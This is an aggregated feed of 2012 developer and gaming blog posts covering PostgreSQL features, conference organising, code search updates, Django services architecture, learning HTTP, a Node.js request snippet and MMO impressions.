I recently read this post entitled “(Some) ORM Haters Do Get It” and I wanted to make a few points in favour of ORM’s. The author of the post argues that ORM’s are bad because of impedance mismatch. I don’t know enough about that subject to comment on it but I have been using ORM’s long enough to th...

Who Knows Regex

Ben E. C. Boyter — Sun, 13 May 2012 08:25:10 GMT

Apparently not many. I have been monitoring how the search has been used since I rolled out code search and noticed that most people are just typing in search terms and not regex search terms. Of course this means some results are not what people are expecting.

I have thus changed the way searches work. It now does an exact match of whatever it is you are looking for UNLESS you wrap your search term in / in which case it will default to a regex search. Take for example the following,

Making a film recommendation site by cheating

Tom Forbes — Tue, 08 May 2012 08:51:42 GMT

View the site here: https://movies.tomforb.es or the code here To distract me from my ever approaching 1st year exams I decided to create a site that recommends people films to watch based upon their previous viewing habits. I gave it to my girlfriend to use and evaluate and she gave positive feedba...

Why PostgreSQL Part 2

CRAIG KERSTIENS — Mon, 07 May 2012 23:55:56 GMT

This post is a list of many of the reasons to use Postgres, much this content as well as how to use these features will later be curated within PostgresGuide.com. If you need to get started check out Postgres.app for Mac, or get a Cloud instance at Heroku Postgres for free

Last week I did a post on the many reasons to use Postgres. My goal with the post was two fold:

Call out some of the historical arguments against it that don’t hold any more
Highlight some of the awesome but more unique features that are less commonly found in databases.

Once I published the post it was clear and was immediately pointed out in the comments and on hacker news that I missed quite a few features that I’d mostly come to take for granted. Perhaps this is due to so much awesomeness existing within Postgres. A large thanks to everyone for calling these out. To help consolidate many of these, here’s a second list of the many reasons to use PostgreSQL:

Create Index Concurrently

On most traditional databases when you create an index it holds a lock on the table while it creates the index. This means that the table is more or less useless during that time. When you’re starting out this isn’t a problem, but as your data grows and you then add indexes later to improve performance it could mean downtime just to add an index. Not surprisingly Postgres has a great means of adding an index without holding that lock. Simply doing CREATE INDEX CONCURRENTLY instead of CREATE INDEX will create your index without holding the lock.

Of course with many features there are caveats, in the case of creating your index concurrently it does take somewhere on the order of 2-3 times longer, and cannot be done within a transaction

Transactional DDL

If you’ve ever run a migration had something break mid-way, either due to a constraint or some other means you understand what pain can come of quickly untangling such. Typically migrations on a schema are intended to be run holistically and if they fail you want to fully rollback. Some other databases such as Oracle in recent versions and SQL server do support, this. And of course Postgres supports wrapping your DDL inside a transaction. This means if an error does occur you can simply rollback and have the previous DDL statements rolled back with it, leaving your schema migrations as safe as your data, and your application in a consistent state.

Foreign Data Wrappers

I talked before about other languages within your database such as Ruby or Python, but what if you wanted to talk to other databases from your database. Postgres’s Foreign Data Wrapper allows you to fully wrap external data systems and join on them in a similar fashion to as if they existed locally within the database. Here’s a sampling of just a few of the foreign data wrappers that exist:

In fact you can even use Multicorn to allow you to write other foreign data wrappers in Python. An example of how this can be done, in this case with Database.com/Force.com can be found here

Conditional Constraints and Partial Indexes

In a similar fashion to affecting only part of your data you may care about an index on only a portion of your data. Or you may care about placing a constraint only where a certain condition is true. Take an example case of the white pages. Within the white pages you only have one active address, but you’ve had multiple ones over recent years. You likely wouldn’t care about the past addresses being indexed, but would want everyones current address to be indexed. With Partial Indexes becomes simple and straight forward:

 CREATE INDEX idx_address_current ON address (user_id) WHERE current IS True;

Postgres in the Cloud

Postgres has been chosen by individual shops and been proven to scale by places such as Instagram and Disqus. Perhaps even more importantly it’s becoming easy to use PostgreSQL due to the many clouds that are running Postgres as a Service, such as:

Full disclosure, I work at Heroku, and am also a large fan of their database service

Listen/Notify

If you want to use your database as a queue there’s some cases where it just won’t work, as heavily discussed in a recent write-up. However, much of this could be discarded if you included Postgres in this discussion due to Listen/Notify. Postgres will allow you to LISTEN to an event and of course NOTIFY for when the event has occurred. A great example of this in action is Ryan Smith’s Queue Classic.

Fast column addition/removal

Want to add a column or remove one. With millions of records this modification in some databases could take seconds or even minutes, in cases I’ve even heard horror stories of adding a column taking hours. With Postgres this is a near immediate action. The only time you pay a higher price is when you choose to write default data to a new column.

Table Inheritance

Want inheritance in your database just like you have in with models inside your application code? Not a problem for Postgres. You can have one table easily inherit for another, leaving a cleaner data model within your database while still giving all the flexibility you’d like on your data model. The Postgres docs on DDL Inheritance do a great job of documenting how to use this and giving a very simple but clear use case.

Per transaction synchronous replication

The default mode for Postgres streaming replication is asynchronous. This works well when you want to maintain performance, but also care about your data. There are cases where you want your replication to be synchronous though. Furthermore, for some cases asynchronous may work well enough where as other data you may care more about the data and want synchronous replication, within the same database. For example, if you care about user sign-ups and purchases, but ratings of products and comments is less important Postgres provides the ability to treat them as such. With Postgres you can have per transaction synchronous replication, this means you could have strong data guarantee on your user and purchase transactions, and less guarantees on others. This means you only pay the extra performance cost where you really care about versus an all or nothing approach you have with other databases.

Conclusion

Hopefully you’re convinced on why Postgres is a great tool, if not take a look back at my previous post.

Feedback for Conference Organizers

CRAIG KERSTIENS — Fri, 04 May 2012 23:55:56 GMT

First a huge thanks to all organizers of conferences, but especially for those that organize not-for-profit conferences. I do understand its a great amount of work, and in nearly all cases have greatly appreciated the experience made available by the work they put into it.

As for some guidance. I’ve been on nearly all sides of the conference with the exception of organizing, so again organizers please don’t take offense to the feedback.

First on timeline

Please publish this early on your site and on lanyrd

Deadline for CFP
Deadline for Call for Sponsorship
Publish speaker list
Early bird registration ends
Regular registration ends

Early dates and times

As a sponsor please give very early notice of your conference times. As an attendee I can determine within a couple months or even sometimes a few weeks if I’m able to make it to the conference. As a sponsor unfortunately I’m more restricted by budgets and timelines.

Give me options on sponsorship

A prospectus is great, and often times I’m completely happy with it. Other times there’s things I may want to sponsor that are not on the list. If videos aren’t already being recorded I’d love to see the content live on, and this is an immediate place that jumps out as valuable to sponsor. Often times flexibility doesn’t cause me to sponsor or not, but it does leave a clear reminder of my experience.

Location of exhibit hall

Sometimes the exhibit hall is hidden away and only visited by attendees that really seek it out. Obviously this is less than ideal for a sponsor with a booth. The obvious solution is a central expo hall, but many conferences can go one further and put lunch and the expo hall in the same area. Having foot traffic near and through the expo hall gives slightly more exposure, letting sponsors get a better value.

As a speaker

Have previous years talks available

If you are interested in attracting new speakers to your conference, please include last years talks. As a speaker there’s often a new conference I’d be interested in attending, if I’d not attended or spoken I may not know appropriate context. Keeping last years speaker list and talk topics helps me elect whether it might be a fit.

Publish the CFP

This is especially key to have on lanyrd, above all the other timelines. There’s currently no better place for me to look today to get an idea of when CFPs are coming up. As a tip for others looking to submit talks to conferences check out their list of upcoming calls.

Bonus if you give me a signup form to get notified via email when the CFP is open

Turnaround

I understand there’s a lot to do when organizing a conference. As much as possible keep the turnaround fast on these. There’s a lot of effort involved in reviewing talk submissions, so I understand that its not a 1 day activity. However, far too often I’ve reviewed talks for conferences and given feedback, and seen most of the activity occur in a mad sprint at the end of the planned time. If this is going to occur at least compress that time.

Speaker dinner

As a speaker, I’ll be missing a few talks as I prep for mine and of course give mine. Additionally there’s a lot in common with other speakers at the conference often. A good speakers dinner with an opportunity to connect with them can be what sets the conference apart for me. Of course good food and drinks always helps this, but most importantly it does a good job of bringing all the speakers together.

Notice

If your CFP is well in advance of the conference, advertise it early and often.

As an attendee

Power and Internet

Power any and everywhere. Internet that works. I understand its hard, but everyone remember when it works well, so its one straight forward way to make your conference stand out.

If you really want to deliver a great experience, have a charging valet, let attendees drop off a device and pick it up an hour later.

Hallway Tracks

Talks are awesome, but give opportunity to connect with everyone there. Many of the people at a conference I see once at year at that particular conference. If my choice is between a talk and catching up with an old friend, the old friend may win out. Give me the opportunity to do both.

Evening events

I don’t want to get into the debate about drinking (coffee or alcohol), but evening events encourage socialization. Adobe’s MAX conference was a great example of this, while there was beer, I never saw over the top drinking at the after conference event. To keep it fun there were Xboxes, PS3s, Segway obstacle courses and much more. If this isn’t something the conference wants to condone or organize itself, there’s likely an event happening somewhere, help with the publicity of those. With any luck the non-conference evening events are well done, and the conference spirit continues into the evening.

Expanded Syntax lang Keyword Now Supported

Ben E. C. Boyter — Tue, 01 May 2012 08:15:11 GMT

Trawling through the logs of search queries I noticed that some people are using the Google Code Search lang syntax. An example that I spotted was the following “throw.* runtime_error lang:c++” Note the lang:c++ portion.

Of couse this ended up spitting back no useful results because the lang:c++ was treated as part of the search. Well no longer is this the case. searchcode now supports the lang keyword in addition to the existing ext one (useful for extensions).

Why Postgres

CRAIG KERSTIENS — Mon, 30 Apr 2012 23:55:56 GMT

UPDATE: A part 2 has been posted on Why Use Postgres

Very often recently I find myself explaining why Postgres is so great. In an effort to save myself a bit of time in repeating this, I though it best to consolidate why Postgres is so great and dispel some of the historical arguments against it.

Replication

For some time the biggest argument for MySQL over Postgres was the lack of a good replication story for Postgres. With the release of 8.4 Postgres’s story around replication quickly became much better.

While replication is indeed very important, are users actually setting up replication each time with MySQL or is it to only have the option later?

Window functions

This is a feature those familiar with Oracle greatly missed in Postgres. In fact even SQL Server had some form of them, though it was with T-SQL, which adds a bit more complexity to the feature. This is a feature that once you have you can’t live without; the other options that existed before were slower and much more complicated. With the release of 8.4 window functions were added to bring Postgres on par with Oracle in this area. For more info on using them check the Postgres docs above or PostgresGuide.com.

Flexible Datatypes

Creating a custom column is simpler in Postgres than any other database I’ve used by far. Excluding custom datatypes, even Postgres’s out of the box datatypes make Postgres stand out far ahead of other databases. In particular the ability to create a column as an Array of some datatype. Want to store a game of tic-tac-toe in a database, or an array of 1 user’s phone numbers? It simply becomes a single column that can contain multiple phone numbers for a user.

Functions

Need to do some logic outside of standard SQL? Postgres likely has a function already available to do it for you. What about the time you wanted to take all rows returned by a query and combine them into a function? Give array_agg a look. Need to split a string and grab a part of it or some other string action, there’s a function for that.

Custom Languages

Want to use another language inside your database? Postgres probably supports it:

Extensions

Need to go beyond standard Postgres? There’s a good chance that someone else has, and that there’s already an extension for it. Extensions take Postgres further with things such as Geospatial support, JSON data types, Key Value Stores, and connecting to external data sources (Oracle, MySQL, Redis). I could easily have a full post on extensions available alone, fortunately someone else has already created an awesome one - PostgreSQL Most Useful Extensions.

NoSQL gives flexibility

I don’t want to get too NoSQL versus SQL debate…. no matter which side you fall on you can get both in Postgres. With hstore and PLV8 you’ll get the flexibility in your data that you would with Mongo along with all of the above features. Will Leinweber has a talk that he’s given at several conferences recently that highlights Schemaless SQL.

Custom Functions

Didn’t find the function you wanted in the above? Try creating it yourself:

 CREATE FUNCTION awesomeness(varchar) RETURNS boolean
 AS 'CASE WHEN $1 == \'postgres\' THEN TRUE ELSE FALSE END;'
 LANGUAGE SQL
 IMMUTABLE
 RETURNS NULL ON NULL INPUT;

Common Table Expressions

Often times when exploring data or creating a new view you’ll want to load data into a temporary table. When exploring data you only need this for a temporary time. Why actually go through the effort of putting it into a temporary table, especially if you only need it for a single query. Common Table Expressions let you accomplish just that.

Development Pace

For some period of time MySQL and Postgres were both moving at fast paces. In recent years though Postgres has rapidly picked up its pace of how much gets packed into a single release. Just take a look at the Major Releases.

Conclusion

Hopefully you’re convinced on why Postgres is a great tool. Next take a visit to PostgresGuide if you need some direction on where to start or how to use many of the above features.

Creating a URL shortening service with Django

Tom Forbes — Fri, 20 Apr 2012 20:11:49 GMT

View it live here or get the code here The first URL shortening site I saw was several years ago and was called TinyURL. Soon after Twitter gained popularity a whole slew of them popped up ( bitly , tiny.cc , is.gd ) to cater for the masses constrained by Twitters 140 character limit, but a lot shut...

GitHub's Security Vulnerabilities

Dan Palmer — Thu, 19 Apr 2012 02:00:00 GMT

The security of GitHub’s website and systems has been the focus of a fair amount of news in the industry over recent months, this is an account of my experience finding a vulnerability, getting it fixed, and also my opinions on the recent ‘mass assignment’ exploit that was publicly demonstrated on GitHub.

This was the first security issue I noticed in the wild, a problem with how GitHub was handling authentication for one of their API endpoints that provided an RSS feed of account activity. I had purchased an application that used the feed to track my activity and was poking around inside it’s resources to see if it had a plugin system that I could create more plugins for. It didn’t, but it did have cached data for each of the web services it was using, and after a cursory glance it was obvious it wasn’t my data, but that of the developers.

Apps to Services

CRAIG KERSTIENS — Fri, 13 Apr 2012 23:55:56 GMT

Update the talk for this is now viewable on YouTube here

When I first came across Django I was an immediate fan. It featured:

Good documentation
Steady but stable progress
Community around apps which encouraged DRY

I’ve been a user off and on depending on my needs for nearly four years since discovering it, and throughout that time all of the above have remained true. However, as I’ve worked on and encountered more complex applications there’s one thing that has time and again broke down for me, which is the Django apps model. It hasn’t broken down due to Django only though, I’ve seen it break down in Ruby (Rails), Java, .Net, take you’re pick of language or framework.

The breakdown of this model is due to several things:

Successful applications grow which mean more complex applications and more developers
More complex applications often mean larger code bases
- Deprecating code is good, but not always easy in large code bases
- More code means more testing, but slower releases

At Heroku one way we often describe the platform to others is “A distributed Unix in the cloud.” There may be many reasons for this, but one of which is that we love the Unix approach and philosophy of Small sharp tools. Sticking to that, many of our internal pieces are small individual apps that talk across defined contracts or APIs.

Back to Django’s app structure… Many people build apps and re-use them and often share them with the world. This is truly great for re-usability, which means you can focus on building key features. However, this does not enable your application to be more maintainable in the future nor does it enable scalability. Yes, you can absolutely scale a monolithic application, but it doesn’t mean you should. This doesn’t mean the app structure is entirely broken, it just means that it is a partial step to where you should be. The real solution is to build more of these pieces of your greater application as services.

A Django app is defined as A web application that does something. I.e. Weblog, Poll, Ticket system. Within Django an app contains:

Models
Views
URLs

I couldn’t find a great definition of a Service that was succinct and also said something of value (If you have one please pass along as I’d love to have a definition from a source other than myself). For the sake setting something in place I’m defining a service as Method of communication over the web with a provider using a defined contract. By this definition a service contains:

Provider
Endpoint
Contract

Let me clarify this a bit further…

Tangible example/parable:

Django Apps::

Ticket
FAQ

Company Teams::

Support
Community Evangelist

You start with two apps, that maybe share a little code. Moreover they at least exist in a central code base. Then you deploy something and the Ticket app can no longer create FAQ, due to a change in one or the other. There’s no finger to point, but more importantly, you don’t know how to contact to resolve. Neither team wants to deploy, so you test more. Before every deploy you run tests… and validate a build… and deployment slows… well maybe not with two teams. But as you get to 5 teams it does, and more so with 15, and more so with 30 teams. Then you hire a build master and release master, who really wants that?

So within Django maybe you go from apps all in the same codebase to releasing private versions of apps…

Your requirements.txt for a main site looks like:


FAQ==0.2

You have 3 apps which depend on it, support, marketing, billing. You bump a version FAQ==0.3 but then all three or no teams have to upgrade the version to the new APIs. However if your interface was:


data = {
‘question’: “my question”,
‘source’: 123
}
requests.POST(os.environ[‘FAQ_API’] + ‘/v1/create’, data=data)

You could also have:


data = {
‘question’: “my question”,
‘source’: 123,
‘related’: [456, 789]
}
requests.POST(os.environ[‘FAQ_API’] + ‘/v2/create’, data=data)

Then you can easily support both, deprecate v1, and track its usage easily. This doesn’t guarantee, but it does enable re-usability, scalability, maintainability. And of course continues to let you build features instead of maintaining software.

In the next post I’ll go into a bit more detail of how a real example looks with apps in both forms, using a set of Django Apps and using a set of Services built on Django Apps.

Slides from a corresponding talk at DjangoCong are here

Using a custom SQLAlchemy Users model with Django

Tom Forbes — Fri, 13 Apr 2012 22:45:31 GMT

I really dislike Django’s ORM. For my job I have written (and continue to maintain) a large internal project that uses Django’s ORM, templating language and MVC framework to serve requests, and I made the unfortunate mistake of sticking with Django’s ORM instead of using the much more powerful SQLAl...

Growing Index

Ben E. C. Boyter — Fri, 13 Apr 2012 08:13:12 GMT

Happy to announce that the searchco.de code index is growing nicely. Even as you read this blog (assuming anyone does read it) thousands of new files are being added to the index. I suspect in time the code index will be one of the larger ones on the web. At last count it was well over 2 billion lines of code but I suspect this has grown quite a lot.

Performance

Ben E. C. Boyter — Thu, 12 Apr 2012 08:09:00 GMT

Just a quick blog post to point out that some speed improvements have been implemented. I have a few more tricks to roll out soon but on the whole things are much more snappy now. I have also been modifying my indexers and can now update the index ad-hoc rather then in large batches.

I have some more stuff coming soon including search restricted to languages EG Java / C++ and an updated code view.

Draconian internet filters

Tom Forbes — Thu, 12 Apr 2012 03:36:44 GMT

My universities student network is pretty restricted. I just finished coding a few changes to Simple and realised I couldn’t push any changes to GitHub due to port restrictions. It appears that they block almost all ports bar 80 and 445 via TCP, which is fine for most users but is quite annoying for...

New Design of CaptNemo.in

Nemo's Home — Sat, 31 Mar 2012 03:00:00 GMT

I did a redesign of the blog. The main goals for the redesign were to reach a clean, readable layout, which I feel I’ve accomplished.

Old Design

Everything was plain old bootstrap, except for the hover effect on the photograph. I’ve also removed the old “Related Posts” feature, which I felt was not at all useful. In the old homepage, the list of articles was earlier presented as a list (<li>), while it is now slightly better. The topbar has also been removed, instead focussing on a far better sidebar.

New Stuff

I wanted a clean design more than anything. So instead of the sharebox being persistent on every device, I decided to hide it on lower resolutions. It currently hides if the screen width < 1100px, so unless you are on a widescreen resolution monitor and using your browser on fullscreen, you won’t see it.

Responsive design via bootstrap allows you to easily support mobile devices. The left sidebar is stacked, so that even mobile devices have no problem with the layout.

I’d describe the design as clean, minimal.

Bootstrap

The earlier design was using Bootstrap 1.3, and I’ve upgraded to 2.0.2 now. I’ve used the new version before, but with zero changes using bootswatch in a few other places. But this time, I decided to tweak bootstrap for my needs.

I did away with the navigation bar, and changed the default fonts. The site does not feel like a stock bootstrap site any longer. The major contribution from bootstrap, was in fact the grid system, and the responsiveness, which really helped me get it done quickly.

Typography

The fonts used are Ubuntu for the content, and Gentium Book Basic for the headings. I’m using Google Web Fonts Directory for the fonts.

I’m only loading the italicized version of Gentium as I’ve chosen to display all headings (h1-h6) as italics.

Simple.

Tom Forbes — Thu, 29 Mar 2012 07:07:15 GMT

I like things to be simple. So I wrote my own blog software to replace the rather un-simple WordPress. Its not that WordPress its hard to use or install, far from it, Its just got a lot of bloatware in my opinion, so I replaced it with Simple. Simple uses MarkDown to format posts, an aims to be as s...

What can we learn from Hollywood

Nemo's Home — Thu, 22 Mar 2012 02:00:00 GMT

There is Lot of buzz in the startup industry regarding the killing of Hollywood. However, before we do that (Amen), there is something that I wish to learn from it.

Hollywood ships.

No matter how much we shout at their broken distribution model, there is one thing that I deeply admire about hollywood. It gets shit done. On time. Again and again.

Why is this important? Because it is One of the largest industries I see around that stick to deadlines on a regular basis. This is something deeply missing in the tech world.

When the trailers of a movie tell me that it will be out in summers, I know I can keep a block reserved for when it will come out. Quite unlike Microsoft, which may push back its release dates as often as it wants.

But I thought the Tech industry was done with this deadline bullshit?

Yes, I too despise deadlines and can’t wait for them to get away, but this article is about something else. This is much more about the undying spirit of Hollywood to release stuff.

So each time you are facing feature creep, and it looks like it will never ship, just look at Hollywood and get it done.

Planet IITR Update

Nemo's Home — Tue, 13 Mar 2012 02:00:00 GMT

So, I was just going through my old blog posts, and saw the Planet IITR Update, which I created out of a need for people to be able to find blogs from other people in IITR.

Since no one has ever submitted a single link to the planet , I just thought, why shouldn’t I just crawl all my Facebook friends from IIT-R, and check their website URLs. The Facebook part took ~20 minutes (getting list of users from my 2 friendlists, followed by getting the website url for each of those friends). After that came the link checking part, which tool ~15-20 minutes as well. A list of all the websites (very few people fill up that that field on fb) I found during the search is here (just 39).

After updating the planet, I had to update the spreadsheet as well. And here’s a list of the blogs, just in case.

In case someone is interested in taking over maintenance (meaning link curation) for Planet, please contact me at capt.n3m0@gmail.com, and I’ll be glad to share the authentication details with you.

Link to Planet : Planet IIT-R

In case you were wondering what this planet stuff is all about, it allows one to add a single curated feed to one’s feed reader and get all updates via that. So planet iitr is a curated collection of blogs pertaining to IIT-R.

Lime Odyssey: Nostalgia

Ben Overmyer's Site — Tue, 06 Mar 2012 02:00:00 GMT

Character select in Lime Odyssey

So the past couple nights I've been playing the alpha test of Lime Odyssey. This game has been in MMO news for a couple of reasons lately; first because the music composer is Yasunori Matsuda, the same composer responsible for my favorite CRPG of all time, Chrono Trigger. Secondly, Lime Odyssey recently announced that its Korean version (its progenitor) is shutting down due to irreparable bugs.

The latter is pretty ominous, but the North American developer that is localizing it for us here in the USA is still going strong. And with the state of the game as it is, I have to say, it's worth a good hard look.

Lime Odyssey may appear at first blush to be a standard Asian MMO, but it's got a few features that set it apart.

It's really well polished for a game supposedly in alpha. The translation is fantastic, and I encountered very few bugs. My only complaint in the sub-level 10 bracket is the repetitive voice acting for your character's attacks, which isn't really a major thing.

Crafting trainer NPCs

The music, as expected, is easily the most memorable I've seen in an Asian MMO. It really harkens back to the heyday of Chrono Trigger and Final Fantasy III, which makes me as a 90s-era roleplayer very happy.

The grind is pretty light in Lime so far, and I'm at about level 8 for my battle class. Usually in Asian MMOs, the grind sets in almost immediately, so this is a welcome change.

Notice how I specifically mentioned “battle class?” That's because Lime Odyssey has separate progression for your Battle Class and your Trade Class. It's possible to level one completely independently of the other, marking a distinctly Western flavor to this MMO. My Trade Class, Tailor, is higher than my Battle Class, cleric.

Harvesting in Lime Odyssey

Little tip if you get to try out the alpha: use your initial talent point to get a special attack before engaging in combat, otherwise combat lasts forever.

It's worth trying out, if you're not yet burned out on Asian MMOs and have a soft spot for Chrono Trigger or Xenosaga in your heart.

Why you should learn HTTP?

Nemo's Home — Mon, 05 Mar 2012 02:00:00 GMT

I see people learning RoR, PHP, Django, with a single intent: getting their own website. Of course, it is the million dollar idea that will blow everyone away, as always. But what I find fascinating is that too many upcoming web developers are testing the waters with opinionated coding frameworks. The entry barrier for software development has been lowered exponentially in the last decade, leading to a slew of web frameworks, tutorials, and screencasts. Today is arguably the best time to be involved in software development. Lots of people are learning to code their first web-site with rails, or django. There are lots of benifits with this approach: as a beginner, you are kept isolate from all the complexities, and can focus more easily on your application.

But, it also leads to shallow learning. You could have written a dozen sinatra apps, and still not understand how it all works. And as it stands, it is not essential to learn it. You can easily develop entire websites thinking only in terms of urls, hyperlinks, routes and controllers. This is all good for starting up, when you don’t wanna deal with the complexity of it all, but I’d expect any competent web-developer to understand HTTP.

You see, HTTP is the foundation for all of web. It is how the internet tubes work. Learning HTTP is uncovering the hidden layer behind your browser. It is understanding how cookies, and sessions work in PHP; how xsrf attacks happen and mitigating against them; the magic that rails does when it creates objects from the submitted form parameters transparently for you. And the best part is that its not all that difficult to learn at all.

There was a lot of debate concerning REST recently. I don’t claim to understand REST fully. I’m yet to meet someone who does. But I can comfortably build RESTish APIs, and consume them with ease without breaking a sweat. And smile at the fact that its all just HTTP. You cannot move to REST, HATEOAS unless you are comfortable with HTTP.

So, if you are a beginner in web-development, here’s my advice to you: Understand HTTP. A few pointers:

Read a good book on HTTP.
Read the HTTP RFC.
Wikibooks and Wikipedia entries on HTTP are quite good.
Use the network tab in Webkit Inspector/Firebug. And understand each of the damn headers.
Start using curl -i, if you don’t already
Above all, be curious

Question the web.

Blacklight: Retribution First Impressions

Ben Overmyer's Site — Thu, 01 Mar 2012 02:00:00 GMT

So I jumped into the open beta for this game tonight. It plays like a sci-fi version of Alliance of Valiant Arms, with its customizable (cash shop) equipment and multiple game modes. The GUI is a lot slicker though, with lots of flashy effects and smooth transitions that make it feel more polished. I enjoy it more. With that said, it's definitely a beta. The gameplay feels faster and like less of a meat grinder than Alliance of Valiant Arms. Where AVA focuses a lot on high body count and small maps, Blacklight is primarily a "maze" game, with many pathways to any given point. Many times I was able to get around an enemy trying to take a point and hit them from a side passage.

The game modes that I encountered were Domination, Team Deathmatch, and Team King of the Hill. Domination is a standard take-and-hold affair, but it's made slicker by having two ways to capture a point - the slow but safer method of just sitting around the point until it becomes yours, or the faster method of doing a quick "combination lock" minigame that completely prevents any other action until you complete it, fail it, or get killed. The minigame doesn't take but a few seconds, but you're defenseless until it finishes. Team Deathmatch was straightforward and bog standard for the mode. Team King of the Hill was interesting and the most unique of the bunch - a beacon will spawn randomly around the map, and the two teams try to capture it first by standing around it until a meter fills up. Once it's captured, a new beacon spawns elsewhere in the map. It's very much a heated battle between big groups of sprinting players. Headshots deserve a special mention here, because they're particularly gory. Any headshot will cleave the top half of a player's head off with a fountain of blood, leaving the esophagus's ragged edge hanging above the ruins of his jaw. Not a game to share with young kids.

Headshots are... brutal

The game includes its share of interesting weapons, including a flamethrower with about triple the range of the TF2 Pyro's flamethrower, a rocket launcher, the standard array of assault rifle, sniper rifle, and pistols, and so on. It also includes a small mecha you can pilot called a Hardsuit, which is equipped with a railgun and a minigun. The mecha is not overpowered, though, because while it's heavily armed and armored, it's ridiculously slow. The safest way I found to take one out was to just run up to melee range and circle around it, always keeping behind it. The most interesting mechanic related to the weapons is the depot system, whereby you can stop by a depot station in game to purchase things like the Hardsuit deployer, the flamethrower, and such. It takes a second to get them, and you must accumulate an in-game currency to buy them with, but the depot equipment is usually worth the effort and danger to acquire them.

The beta problems I spoke of were minor - my primary complaint in this regard was the occasional spots of server lag that caused magic damage and Matrix-like evasion. Nothing to make the game unplayable by any means. I haven't yet played long enough to determine whether the equipment upgrades you can buy with in-game or real currency have any unbalancing effect, but in the few rounds I played, I was able to hold my own against players over ten levels above me with much better gear.

Improving the Index

Ben E. C. Boyter — Wed, 29 Feb 2012 07:07:36 GMT

The last couple of weeks I have been spending improving the index based on feedback about duplicate results. When indexing source code you will find a lot of duplicate libraries and copied code all over the place. Usually when searching for something like jQuery you don’t want to see thousands of results of the same file. However when searching for method calls you do want to see results which call the method in a similar way as you may be looking for examples of how to use it.

I killed Deathwing. Then, WoW died.

Ben Overmyer's Site — Thu, 23 Feb 2012 02:00:00 GMT

Last Sunday, I jumped into Raid Finder for the very first time and joined up with a group doing the Fall of Deathwing. After a wipe-less and heavily cinematic raid, we took out the former Aspect of Earth.

And… then WoW died for me.

Killing the biggest, baddest villain in all of Warcraft lore (excepting Sargeras) made me feel like I'd “won” WoW. The story seemed to wrap itself up nicely, and the game felt complete at that point.

It's not that I hate WoW. Far from it; despite its “theme park” nature and rampant immaturity in general chat channels, World of Warcraft is actually a pretty fun game. It has a very immersive story if you're willing to put in the time to discover it, and the basic gameplay isn't bad at all. Of all the MMOs I've played, only WoW and SWG have managed to keep me coming back after years of playing and burning out.

However, I also am not one to replay a game after I've beat it. There are a couple exceptions to this, but not many.

I fully intend to be playing WoW when Pandaria is released. It has too much awesomeness promised. But until then, what's the point? I've never been fully into the “hard mode” aspect of it, or the gear grind. Really, I don't care what my item level is, as long as I can access the content I like.

Is there something about WoW that should bring me back in, now that the story is finished? I don't know. If you have a thought, let me know in the comments.

Shift to bundler 1.1 (Ruby)

Nemo's Home — Thu, 23 Feb 2012 02:00:00 GMT

In case someone out there is still stuck with bundler 1.0, and hates seeing the Fetching source index for http://rubygems.org/. screen, please update to bundler 1.1.

The following command should do the trick:

gem install bundler --pre

Bundler 1.1 is faster by a huge margin in comparision to 1.0.

References

Making post requests with 'request' module in node.js

Nemo's Home — Wed, 22 Feb 2012 02:00:00 GMT

Was stuck at this for quite some time:

var postData={
	a:1,
	b:2
};
require('request').post({
	uri:"http://example.com/test",
	headers:{'content-type': 'application/x-www-form-urlencoded'},
	body:require('querystring').stringify(postData)
	},function(err,res,body){
		console.log(body);
		console.log(res.statusCode);
});

This will make a post request to http://example.com/test with the querystring parameters in postData. Meaning if you are using PHP, you can see the variables in $_POST instead of parsing request body.

References:

The only way I can work any longer

Nemo's Home — Sat, 18 Feb 2012 02:00:00 GMT

Being a good programmer is 3% talent and 97% not getting distracted by the Internet.

Firstly, a frank admission.

I procastinate.
A lot.
Seriously.

For every second I spend in front of my computer, trying to get some work done, there is a continous struggle going on between my “work” and “play” side of things. Unfortunately, the “play” side seems to be winning. A lot. So I decided to wage a war against it.

Here is my arsenal of tools:

get-shit-done - Script blocks all access to various sites(FB,reddit etc)
Chrome Profiles - One of my profiles is called “get-shit-done”. It features my development extensions, apps, bookmarks, and nothing else. It is plain vanilla Chromium with no puffy unicorns luring me to check my Facebook Notifications.
Music - I find Youtube a surprising good source of music discovery. I listen to almost everything. Recently, I’ve started to listen to Ludovico Einaudi. You may also like http://musicforprogramming.net/ in this regard.
Minimal Tabs - I close a tab as soon as I’m done with it. This leads to ~3-5 tabs in my “get-shit-done” setup. A lesser number of tabs usually means a limit on the number of distracting links. Even Stackoverflow doesn’t help in this regard.
The get-shit-done profile even has settings to clear cache at closings. This leads to me being signed out of everything. Including GMail, Facebook, SO, and everything else. In this mode, I login to something, if it is essential to the work at hand.
Read It Later - I’ve setup all Hacker News feeds above 20 points to be saved automatically to my Read It Later account, which I can easily consume on my iPad at my leisure. However, I find myself itching to browse hckrnews every 5 minutes.

If you find yourself browsing facebook, reddit, youtube, hacker news, or reading blog posts on productivity, I urge you strongly to try this out. Defeating procastination is not easy. And its never a win-or-lose battle. What are your thoughts? How do you stop yourself from getting lost on the internetz? Tell me in comments.

Whatever happened to benovermyer.com and manatrance.com?

Ben Overmyer's Site — Sun, 12 Feb 2012 02:00:00 GMT

Recently I canceled my paid hosting and relinquished control of benovermyer.com and manatrance.com, my two domain names. Up until now, these served as the primary way to reach me on the web. Once I decided to relinquish all control of my finances, however, I purged everything I had a subscription or recurring payment to. The only exceptions to this were necessary services like electricity, water, phone service, and so on, and also the World of Warcraft Annual Passes that we contracted into. This move was in no small part motivated by my increasing adoption of the world view of Leo Babauta over at Zen Habits. By removing my ability to impulse-buy, I get rid of a major distraction. This is just the first step in a plan to greatly increase my hummingbird-like attention span. Every so often, I'll post an update on this process.

Growing Pains

Ben E. C. Boyter — Mon, 06 Feb 2012 07:04:27 GMT

When I started searchco.de the amount of hardware required was fairly low. I did a lot of processing on other machines and pushed the results through allowing the machine that serves the site to just focus on the job of delivering results. The result was everything was running on a nice VPS provided by Atum.com 2.9 Ghz CPU 512 MB ram and about 30 GB of hard disk space. This was more then enough to support the index I had and do everything required. Then Google dropped Code Search and I decided I would try to fill in the gap.

Things I love about Github

Nemo's Home — Thu, 02 Feb 2012 02:00:00 GMT

A slide from GitHub’s famous “How Github uses Github to build Github talk”:

In their recent version of the talk at RubyConf 2011, they changed the slide slightly:

It now reads, “No Pings” instead of “No Managers”.

Not nitpicking, just paying attention.

If you haven’t seen the talk (or just saw the slideshow), you should go and watch the talk (31 mins) Right Now

Choose Between Facebook Groups and Pages

Nemo's Home — Thu, 26 Jan 2012 02:00:00 GMT

I don’t know how many times I’ve said this, but the best way of creating a multi-user discussion platform is to create a facebook page. A little guidelines on what you should use:

